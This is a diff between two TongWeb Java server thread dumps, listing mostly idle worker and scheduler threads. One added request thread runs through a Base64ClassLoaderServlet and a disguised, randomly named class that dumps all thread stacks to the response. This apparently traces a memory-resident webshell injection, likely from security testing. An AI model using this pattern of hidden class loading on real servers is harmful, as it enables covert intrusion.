com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107) - at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32) - at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085) - at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147) - at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) + at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) at java.lang.Thread.run(Thread.java:750) -"GC Daemon" #15 daemon [TIMED_WAITING] on sun.misc.GC$LatencyLock@3ed26d68 +"com.tongweb.tongejb.pool.scheduler.1" #55 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@e577769 java.lang.Thread.State: TIMED_WAITING - at java.lang.Object.wait(Native Method) - at sun.misc.GC$Daemon.run(GC.java:117) - -"http-nio-0.0.0.0-8080-exec-8" #110 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5efd9227 - java.lang.Thread.State: WAITING at sun.misc.Unsafe.park(Native Method) - at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) - at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) - at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) - at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107) - at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32) - at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085) - at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147) - at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) at java.lang.Thread.run(Thread.java:750) -"Finalizer" #3 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@5b00e53a - java.lang.Thread.State: WAITING - at java.lang.Object.wait(Native Method) - at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144) - at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:165) - at java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:216) - -"http-nio-8443-exec-7" #122 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1bff1f3c +"JCA-default-thread-pool-worker-3" #46 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@76cf56dd java.lang.Thread.State: WAITING at sun.misc.Unsafe.park(Native Method) at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) - at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) - at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107) - at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32) - at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085) - at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147) - at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) + at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) at java.lang.Thread.run(Thread.java:750) -"NioBlockingSelector.BlockPoller-1" #21 daemon [RUNNABLE] +"Timer-1" #156 daemon [RUNNABLE] java.lang.Thread.State: RUNNABLE - at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) - at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) - at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) - at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) - at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) - at com.tongweb.web.webutil.util.net.NioBlockingSelector$BlockPoller.run(NioBlockingSelector.java:328) + at java.util.zip.ZipFile.read(Native Method) + at java.util.zip.ZipFile.access$1400(ZipFile.java:61) + at java.util.zip.ZipFile$ZipFileInputStream.read(ZipFile.java:738) + at java.io.FilterInputStream.read(FilterInputStream.java:133) + at java.io.DataInputStream.readFully(DataInputStream.java:195) + at java.io.DataInputStream.readUTF(DataInputStream.java:609) + at java.io.DataInputStream.readUTF(DataInputStream.java:564) + at com.sun.xml.internal.bind.v2.bytecode.ClassTailor.tailor(ClassTailor.java:131) + at com.sun.xml.internal.bind.v2.runtime.reflect.opt.AccessorInjector.tailor(AccessorInjector.java:107) + at com.sun.xml.internal.bind.v2.runtime.reflect.opt.AccessorInjector.prepare(AccessorInjector.java:68) + at com.sun.xml.internal.bind.v2.runtime.reflect.opt.OptimizedAccessorFactory.get(OptimizedAccessorFactory.java:164) + at com.sun.xml.internal.bind.v2.runtime.reflect.Accessor$FieldReflection.optimize(Accessor.java:271) + at com.sun.xml.internal.bind.v2.runtime.reflect.TransducedAccessor$CompositeTransducedAccessorImpl.(TransducedAccessor.java:220) + at com.sun.xml.internal.bind.v2.runtime.reflect.TransducedAccessor.get(TransducedAccessor.java:160) + at com.sun.xml.internal.bind.v2.runtime.property.AttributeProperty.(AttributeProperty.java:76) + at com.sun.xml.internal.bind.v2.runtime.property.PropertyFactory.create(PropertyFactory.java:93) + at com.sun.xml.internal.bind.v2.runtime.ClassBeanInfoImpl.(ClassBeanInfoImpl.java:166) + at com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl.getOrCreate(JAXBContextImpl.java:488) + at com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl.getOrCreate(JAXBContextImpl.java:507) + at com.sun.xml.internal.bind.v2.runtime.property.SingleElementNodeProperty.(SingleElementNodeProperty.java:90) + at sun.reflect.GeneratedConstructorAccessor8.newInstance(Unknown Source) + at sun.reflect.DelegatingConstructorAccessorImpl.newInstance(DelegatingConstructorAccessorImpl.java:45) + at java.lang.reflect.Constructor.newInstance(Constructor.java:423) + at com.sun.xml.internal.bind.v2.runtime.property.PropertyFactory.create(PropertyFactory.java:113) + at com.sun.xml.internal.bind.v2.runtime.ClassBeanInfoImpl.(ClassBeanInfoImpl.java:166) + at com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl.getOrCreate(JAXBContextImpl.java:488) + at com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl.getOrCreate(JAXBContextImpl.java:507) + at com.sun.xml.internal.bind.v2.runtime.property.SingleElementNodeProperty.(SingleElementNodeProperty.java:90) + at sun.reflect.GeneratedConstructorAccessor8.newInstance(Unknown Source) + at sun.reflect.DelegatingConstructorAccessorImpl.newInstance(DelegatingConstructorAccessorImpl.java:45) + at java.lang.reflect.Constructor.newInstance(Constructor.java:423) + at com.sun.xml.internal.bind.v2.runtime.property.PropertyFactory.create(PropertyFactory.java:113) + at com.sun.xml.internal.bind.v2.runtime.ClassBeanInfoImpl.(ClassBeanInfoImpl.java:166) + at com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl.getOrCreate(JAXBContextImpl.java:488) + at com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl.(JAXBContextImpl.java:305) + at com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl.(JAXBContextImpl.java:124) + at com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl$JAXBContextBuilder.build(JAXBContextImpl.java:1123) + at com.sun.xml.internal.bind.v2.ContextFactory.createContext(ContextFactory.java:147) + at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) + at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) + at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) + at java.lang.reflect.Method.invoke(Method.java:498) + at javax.xml.bind.ContextFinder.newInstance(ContextFinder.java:247) + at javax.xml.bind.ContextFinder.newInstance(ContextFinder.java:234) + at javax.xml.bind.ContextFinder.find(ContextFinder.java:462) + at javax.xml.bind.JAXBContext.newInstance(JAXBContext.java:641) + at javax.xml.bind.JAXBContext.newInstance(JAXBContext.java:584) + at com.tongweb.config.ConfigTool.saveXmlFile(ConfigTool.java:534) + at com.tongweb.config.ConfigTool.saveXmlFile(ConfigTool.java:556) + at com.tongweb.config.ConfigTool.addChild(ConfigTool.java:192) + at com.tongweb.config.ConfigTool.addChild(ConfigTool.java:120) + at com.tongweb.deploy.util.DeployConfigUtil.addDeployConfig(DeployConfigUtil.java:300) + at com.tongweb.deploy.TongWebDeployer.deploy(TongWebDeployer.java:249) + at com.tongweb.deploy.commands.DeployCommand.deploy(DeployCommand.java:321) + at com.tongweb.deploy.autodeploy.TongWebAutoDeployer.deployAll(TongWebAutoDeployer.java:68) + at com.tongweb.deploy.autodeploy.TongWebAutoDeployTask.run(TongWebAutoDeployTask.java:195) + at java.util.TimerThread.mainLoop(Timer.java:555) + at java.util.TimerThread.run(Timer.java:505) -"WebSocketClient-AsyncIO-2" #143 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7e3efb9e +"WebSocketClient-AsyncIO-6" #135 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1f6ba499 java.lang.Thread.State: WAITING at sun.misc.Unsafe.park(Native Method) at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) @@ -252,15 +257,7 @@ ThreadStacks: at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) at java.lang.Thread.run(Thread.java:750) -"http-nio-0.0.0.0-8080-Acceptor-0" #115 daemon [RUNNABLE] - java.lang.Thread.State: RUNNABLE - at sun.nio.ch.ServerSocketChannelImpl.accept0(Native Method) - at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:421) - at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:249) - at com.tongweb.web.webutil.util.net.NioEndpoint$Acceptor.run(NioEndpoint.java:859) - at java.lang.Thread.run(Thread.java:750) - -"http-nio-0.0.0.0-8080-exec-6" #108 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5efd9227 +"http-nio-0.0.0.0-9060-exec-2" #79 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@658e93f4 java.lang.Thread.State: WAITING at sun.misc.Unsafe.park(Native Method) at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) @@ -273,7 +270,7 @@ ThreadStacks: at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) at java.lang.Thread.run(Thread.java:750) -"ajp-bio-8009-exec-5" #133 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@170821b7 +"http-nio-8443-exec-9" #112 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@b1347d5 java.lang.Thread.State: WAITING at sun.misc.Unsafe.park(Native Method) at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) @@ -286,20 +283,7 @@ ThreadStacks: at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) at java.lang.Thread.run(Thread.java:750) -"http-nio-0.0.0.0-9060-exec-5" #94 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@c0caa64 - java.lang.Thread.State: WAITING - at sun.misc.Unsafe.park(Native Method) - at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) - at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) - at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) - at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107) - at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32) - at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085) - at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147) - at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) - at java.lang.Thread.run(Thread.java:750) - -"com.tongweb.tongejb.pool.scheduler.1" #61 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@3a9cb713 +"com.tongweb.tongejb.pool.scheduler.3" #57 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@69fb5826 java.lang.Thread.State: TIMED_WAITING at sun.misc.Unsafe.park(Native Method) at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) @@ -311,97 +295,104 @@ ThreadStacks: at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) at java.lang.Thread.run(Thread.java:750) -"ajp-bio-8009-AsyncTimeout" #140 daemon [TIMED_WAITING] - java.lang.Thread.State: TIMED_WAITING - at java.lang.Thread.sleep(Native Method) - at com.tongweb.web.webutil.util.net.JIoEndpoint$AsyncTimeout.run(JIoEndpoint.java:149) - at java.lang.Thread.run(Thread.java:750) - -"http-nio-0.0.0.0-9060-exec-6" #95 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@c0caa64 - java.lang.Thread.State: WAITING - at sun.misc.Unsafe.park(Native Method) - at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) - at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) - at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) - at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107) - at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32) - at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085) - at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147) - at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) - at java.lang.Thread.run(Thread.java:750) - -"WebSocketClient-AsyncIO-6" #147 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7e3efb9e - java.lang.Thread.State: WAITING - at sun.misc.Unsafe.park(Native Method) - at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) - at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) - at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) - at sun.nio.ch.EPollPort$EventHandlerTask.run(EPollPort.java:262) - at sun.nio.ch.AsynchronousChannelGroupImpl$1.run(AsynchronousChannelGroupImpl.java:112) - at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1165) - at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) - at java.lang.Thread.run(Thread.java:750) +"DefaultQuartzScheduler_Worker-3" #144 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.lang.Object.wait(Native Method) + at com.tongweb.quartz.simpl.SimpleThreadPool$WorkerThread.run(SimpleThreadPool.java:553) -"com.tongweb.tongejb.pool.scheduler.3" #63 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6669ac4f +"TWNT-startStop-1" #76 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5c22864f java.lang.Thread.State: TIMED_WAITING at sun.misc.Unsafe.park(Native Method) at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) - at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093) - at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) - at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:467) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) at java.lang.Thread.run(Thread.java:750) -"Stateful cache" #60 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6f025917 - java.lang.Thread.State: TIMED_WAITING +"DefaultQuartzScheduler_QuartzSchedulerThread" #152 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.lang.Object.getClass(Native Method) + at com.tongweb.quartz.simpl.PropertySettingJobFactory.setBeanProps(PropertySettingJobFactory.java:85) + at com.tongweb.quartz.simpl.PropertySettingJobFactory.newJob(PropertySettingJobFactory.java:76) + at com.tongweb.quartz.core.JobRunShell.initialize(JobRunShell.java:135) + at com.tongweb.quartz.core.QuartzSchedulerThread.run(QuartzSchedulerThread.java:388) + +"JCA-default-thread-pool-worker-5" #48 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@76cf56dd + java.lang.Thread.State: WAITING at sun.misc.Unsafe.park(Native Method) - at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) - at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) - at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093) - at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) at java.lang.Thread.run(Thread.java:750) -"RMI TCP Accept-0" #13 daemon [RUNNABLE] - java.lang.Thread.State: RUNNABLE - at java.net.PlainSocketImpl.socketAccept(Native Method) - at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409) - at java.net.ServerSocket.implAccept(ServerSocket.java:560) - at java.net.ServerSocket.accept(ServerSocket.java:528) - at sun.rmi.transport.tcp.TCPTransport$AcceptLoop.executeAcceptLoop(TCPTransport.java:405) - at sun.rmi.transport.tcp.TCPTransport$AcceptLoop.run(TCPTransport.java:377) - at java.lang.Thread.run(Thread.java:750) - -"WebSocketClient-AsyncIO-1" #142 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7e3efb9e +"ajp-bio-8009-exec-7" #123 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1eafae3e java.lang.Thread.State: WAITING at sun.misc.Unsafe.park(Native Method) at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) - at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) - at sun.nio.ch.EPollPort$EventHandlerTask.run(EPollPort.java:262) - at sun.nio.ch.AsynchronousChannelGroupImpl$1.run(AsynchronousChannelGroupImpl.java:112) - at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1165) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147) at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) at java.lang.Thread.run(Thread.java:750) -"DefaultQuartzScheduler_Worker-4" #160 [TIMED_WAITING] on com.tongweb.quartz.simpl.SimpleThreadPool$WorkerThread@68629e5c - java.lang.Thread.State: TIMED_WAITING - at java.lang.Object.wait(Native Method) - at com.tongweb.quartz.simpl.SimpleThreadPool$WorkerThread.run(SimpleThreadPool.java:553) +"http-nio-0.0.0.0-9060-ClientPoller-1" #89 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at com.tongweb.web.webutil.util.net.NioEndpoint$Poller.run(NioEndpoint.java:1218) + at java.lang.Thread.run(Thread.java:750) -"http-nio-0.0.0.0-9060-Acceptor-0" #102 daemon [RUNNABLE] +"http-nio-0.0.0.0-8080-exec-2" #92 daemon [RUNNABLE] java.lang.Thread.State: RUNNABLE - at sun.nio.ch.ServerSocketChannelImpl.accept0(Native Method) - at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:421) - at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:249) - at com.tongweb.web.webutil.util.net.NioEndpoint$Acceptor.run(NioEndpoint.java:859) + at java.lang.Thread.dumpThreads(Native Method) + at java.lang.Thread.getAllStackTraces(Thread.java:1615) + at org.apache.http.client.spzga.ErrorKewjvHandler.toString(BasicInfoPrinter.java:26) + at java.lang.String.valueOf(String.java:2994) + at com.tongweb.web.thor.connector.CoyoteWriter.print(CoyoteWriter.java:248) + at Base64ClassLoaderServlet.service(Base64ClassLoaderServlet.java:26) + at com.tongweb.web.thor.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:305) + at com.tongweb.web.thor.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:210) + at ServletNameTestFilter.doFilter(ServletNameTestFilter.java:16) + at com.tongweb.web.thor.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:243) + at com.tongweb.web.thor.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:210) + at com.tongweb.web.websocket.server.WsFilter.doFilter(WsFilter.java:52) + at com.tongweb.web.thor.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:243) + at com.tongweb.web.thor.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:210) + at EmptyFilter.doFilter(EmptyFilter.java:12) + at com.tongweb.web.thor.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:243) + at com.tongweb.web.thor.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:210) + at UrlMappingTestFilter.doFilter(UrlMappingTestFilter.java:21) + at com.tongweb.web.thor.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:243) + at com.tongweb.web.thor.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:210) + at com.tongweb.web.thor.core.ThorStandardWrapperValve.invoke(ThorStandardWrapperValve.java:202) + at com.tongweb.web.thor.core.StandardContextValve.invoke(StandardContextValve.java:123) + at com.tongweb.twnt.thor.OpenEJBValve.invoke(OpenEJBValve.java:46) + at com.tongweb.web.thor.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:472) + at com.tongweb.web.thor.core.ThorStandardHostValve.invoke(ThorStandardHostValve.java:69) + at com.tongweb.web.thor.valves.AccessLogValve.invoke(AccessLogValve.java:929) + at com.tongweb.web.thor.valves.ErrorReportValve.invoke(ErrorReportValve.java:99) + at com.tongweb.web.thor.core.StandardEngineValve.invoke(StandardEngineValve.java:118) + at com.tongweb.web.thor.connector.CoyoteAdapter.service(CoyoteAdapter.java:411) + at com.tongweb.web.oro.http11.AbstractHttp11Processor.process(AbstractHttp11Processor.java:1017) + at com.tongweb.web.oro.AbstractProtocol$AbstractConnectionHandler.process(AbstractProtocol.java:589) + at com.tongweb.web.webutil.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1767) + at com.tongweb.web.webutil.util.net.NioEndpoint$SocketProcessor.run(NioEndpoint.java:1744) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1165) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) at java.lang.Thread.run(Thread.java:750) -"ajp-bio-8009-exec-10" #138 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@170821b7 +"http-nio-0.0.0.0-8080-exec-5" #95 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@faf9f2c java.lang.Thread.State: WAITING at sun.misc.Unsafe.park(Native Method) at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) @@ -414,7 +405,13 @@ ThreadStacks: at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) at java.lang.Thread.run(Thread.java:750) -"JCA-default-thread-pool-worker-3" #52 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@3951c8d9 +"persistence" #159 daemon [TIMED_WAITING] on java.util.TaskQueue@3c26dc97 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at java.util.TimerThread.mainLoop(Timer.java:552) + at java.util.TimerThread.run(Timer.java:505) + +"JCA-default-thread-pool-worker-10" #53 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@76cf56dd java.lang.Thread.State: WAITING at sun.misc.Unsafe.park(Native Method) at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) @@ -425,7 +422,7 @@ ThreadStacks: at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) at java.lang.Thread.run(Thread.java:750) -"http-nio-0.0.0.0-8080-exec-10" #112 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5efd9227 +"http-nio-0.0.0.0-8080-exec-6" #96 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@faf9f2c java.lang.Thread.State: WAITING at sun.misc.Unsafe.park(Native Method) at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) @@ -438,18 +435,7 @@ ThreadStacks: at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) at java.lang.Thread.run(Thread.java:750) -"JCA-default-thread-pool-worker-2" #51 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@3951c8d9 - java.lang.Thread.State: WAITING - at sun.misc.Unsafe.park(Native Method) - at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) - at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) - at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) - at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) - at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) - at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) - at java.lang.Thread.run(Thread.java:750) - -"ajp-bio-8009-exec-1" #129 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@170821b7 +"http-nio-0.0.0.0-9060-exec-10" #87 daemon [WAITING] on 